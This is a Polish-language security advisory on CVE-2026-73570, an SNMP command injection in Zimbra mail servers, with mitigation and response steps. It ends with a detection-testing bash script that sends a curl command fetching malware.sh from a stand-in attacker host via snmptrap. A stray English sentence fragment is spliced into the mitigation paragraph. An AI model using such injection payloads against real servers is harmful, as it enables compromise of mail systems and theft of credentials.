CVE-2026-73570: Nieautoryzowana Iniekcja Poleceń Atakuje Serwery Pocztowe Dostępne z Internetu

Podsumowanie

Złośliwi aktorzy aktywnie wykorzystują CVE-2026-73570, nieautoryzowaną lukę w systemie OS umożliwiającą wstrzyknięcie komend w ścieżce powiadomień SNMP w Zimbra Collaboration Suite. Pomyślna eksploitacja może umożliwić napastnikom wdrażanie powłok JSP, ustanawianie odwróconych powłok i eskalację uprawnień. Obserwowana kampania łączy automatyczne dostarczanie ładunków z aktywnością ręczną ukierunkowaną na kradzież danych e-mail oraz danych uwierzytelniających.

Śledztwo

Microsoft Threat Intelligence monitorowało eksploitację poprzez telemetrię i badało wiele etapów ataku, w tym rozpoznanie, dostęp początkowy, trwałość i eskalację uprawnień. Badacze zaobserwowali sondy out-of-band używane do potwierdzenia wykonania poleceń za pomocą określonych subdomen. Analiza również odkryła złożoną eskalację uprawnień z udziałem pomocników usług Zimbra oraz wielu mechanizmów trwałości, w tym usług systemd i zadań cron.

Łagodzenie

Organizacje powinny natychmiast zaktualizować Zimbra Collaboration Suite do wersji 10.1.20 lub nowszej, aby wyeliminować lukę. Jeśli uaktualnienie nie może zostać wykonane szybko, należy odinstalować opcjonalny pakiet zimbra-snmp i wyłączyć powiadomienia SNMP. Zespoły bezpieczeństwa powinny również ograniczyć dostęp SMTP i SNMP do zaufanych hostów oraz zrotować wszystkie tajemnice uwierzytelniania Zimbra. package and disable SNMP notifications. Security teams should also restrict SMTP and SNMP access to trusted hosts and rotate all Zimbra authentication secrets.

Reakcja

Traktuj alerty o odwróconych powłokach na serwerach poczty mających dostęp do Internetu jako incydenty wysokiego priorytetu wymagające szybkiego określenia zakresu i przeglądu danych uwierzytelniających. Sprawdź katalogi aplikacji Zimbra i servlet-work pod kątem nieoczekiwanych plików JSP lub ostatnio zmienionych uprawnień. Przejrzyj jednostki systemd w poszukiwaniu podejrzanych zmian właścicielstwa lub aktywności timestomping oraz zrotuj wszystkie wartości zimbraPreAuthKey .

Wykonanie symulacji

• Narracja ataku i polecenia: Przeciwnik identyfikuje serwer pocztowy Zimbra z dostępem do Internetu i wykorzystuje lukę (CVE-2026-73570) w przetwarzaniu powiadomień SNMP. Wysyłając specjalnie spreparowany pakiet, wstrzykuje metaznaki do powłoki, które powodują, że usługa SNMP wykonuje polecenie. Celem atakującego jest pobranie dodatkowego ładunku w celu ustanowienia trwałości. Używają curl do pobrania skryptu z zdalnego serwera, co powinno wywołać logikę w regule detekcyjnej. Skrypt testu regresji:

• Regression Test Script:

  #!/bin/bash
  # Symulacja wykorzystania CVE-2026-73570 poprzez iniekcję pułapki SNMP
  # Ten skrypt symuluje wstrzyknięcie polecenia 'curl' do wiadomości pułapki SNMP.
  
  TARGET_IP="127.0.0.1"
  COMMUNITY="public"
  # Złośliwy ładunek przeznaczony do uchwycenia przez regułę
  MALICIOUS_COMMAND="curl http://attacker.com/malware.sh -o /tmp/malware.sh"
  
  echo "[+] Symulacja wstrzyknięcia polecenia przez pułapkę SNMP..."
  
  # Używamy snmptrap do naśladowania przybycia spreparowanej pułapki zawierającej ciąg 'curl'
  # W prawdziwym ataku byłoby to wysyłane poprzez nieprawidłowo sformułowany pakiet SMTP/SNMP
  snmptrap -v 2c -c $COMMUNITY $TARGET_IP '' 1.3.6.1.4.1.8072.2.3.0.1 1.3.6.1.4.1.8072.2.3.0.2 s "$MALICIOUS_COMMAND"
  
  echo "[+] Polecenie symulacyjne wysłane. Sprawdź SIEM pod kątem alertu: Nieautoryzowane wstrzyknięcie polecenia przez SNMP w Zimbra"

• Polecenia czyszczące:

  # Usuń wszelkie pliki utworzone podczas symulacji (jeśli są)
  rm -f /tmp/malware.sh
  echo "[+] Czyszczenie zakończone."